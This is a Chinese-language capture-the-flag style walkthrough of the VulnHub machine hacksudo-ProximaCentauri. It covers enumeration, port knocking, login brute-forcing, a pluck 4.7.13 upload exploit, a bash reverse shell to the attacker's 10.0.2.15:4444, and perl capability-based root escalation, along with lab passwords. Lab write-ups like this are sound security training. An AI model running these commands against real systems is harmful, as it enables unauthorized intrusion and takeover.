一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudo-ProximaCentauri(10.0.2.51)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.51
使用nmap端口扫描发现,靶机开放端口:22、80
打开网站未发现可利用的功能点,查看源码也没有发现隐藏信息
使用gobuster和dirsearch工具进行目录爆破
gobuster dir -u http://10.0.2.51 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtdirsearch -u http://10.0.2.51 /usr/share/wordlists/dirb/big.txt
发现login.php、flag1.txt、README.md、/planet/
login.php是一个登录页面,发现网站框架为pluck 4.7.13
查看flag1.txt
README.md文件存在链接,访问可以查看到cms源码
访问目录/planet/travel/,查看源码发现隐藏信息
here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal…get co-ordinate from https://g.co/kgs/F9Lb6b
翻译:在这里您可以打开门户并前往比邻星,坐标是?RA 表示打开,Dec 表示关闭 proxima blackwhole 门户…从 https://g.co/kgs/F9Lb6b 获取坐标
应该要使用提供的链接搜索比邻星的坐标,但网站打不开,需要科学上网,有条件的可以自己搜索看看,我这边就使用其他大佬wp搜索出来的数据
RA 14h 29m 43s | Dec –60° 40′ 46′′
那么14、29、43是端口敲门的三个端口:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
knock 10.0.2.51 14 29 43
再次扫描端口,发现22端口已经开放了
尝试连接ssh,发现一个链接
浏览器访问,发现列表,应该是一个密码字典
三、漏洞利用
使用提供的密码字典对网站的登录页面进行爆破,爆破成功发现密码:hacktheplanet
登录网站
使用searchsploit工具搜索pluck 4.7.13的历史漏洞
发现一个上传文件命令执行漏洞,下载exp,利用获取shell
python 49909.py 10.0.2.51 80 hacktheplanet /
访问http://10.0.2.51:80//files/shell.phar
反弹shell
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
使用命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,没有发现可利用的文件
翻一翻靶机各个文件,发现/var/backups
目录具有读权限的数据库备份文件
查看该文件发现数据库的用户名密码:alfauser:passw0rd
使用数据库用户名密码登录数据库
mysql -u alfauser -p
发现一组用户名密码:proxima:alfacentauri123
使用发现的用户名密码,切换为proxima用户
没有 sudo,也没有可利用的 SUID 文件,使用命令查看getcap -r / 2>/dev/null
查看是否有可利用的可执行的文件,发现perl文件
使用perl文件进行提权
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
获取flag
参考链接:https://www.cnblogs.com/sainet/p/15805892.html